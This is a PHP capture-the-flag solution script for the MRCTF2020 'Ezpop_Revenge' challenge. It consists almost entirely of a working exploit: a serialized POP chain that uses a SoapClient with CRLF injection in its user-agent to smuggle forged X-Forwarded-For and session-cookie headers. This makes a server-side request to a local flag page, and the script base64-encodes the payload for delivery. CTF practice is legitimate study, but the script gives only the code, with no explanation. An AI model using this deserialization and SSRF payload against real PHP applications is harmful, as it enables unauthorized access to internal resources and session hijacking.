[MRCTF2020]Ezpop_Revenge

<?php

class Typecho_Db_Query

{

    private $_sqlPreBuild;

    private $_adapter;

    public function __construct()

    {

        $target = 'http://127.0.0.1/flag.php';

        $headers = array(

            'X-Forwarded-For: 127.0.0.1',

            'Cookie: PHPSESSID=rd6u7agm56jsrqqrrni0f6s1r6'

        );

        $b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri'      => "aaab"));

        $this->_sqlPreBuild =array("action"=>"SELECT");

        $this->_adapter = $b;

    }

}

class HelloWorld_DB

{

    private $coincidence;

    public function __construct()

    {

        $this->coincidence = ["hello" => new Typecho_Db_Query()];

    }

}

$a = new HelloWorld_DB();

$aaa = serialize($a);

$aaa = str_replace('^^',"\r\n",$aaa);

$aaa = str_replace('&','&',$aaa);

echo base64_encode($aaa);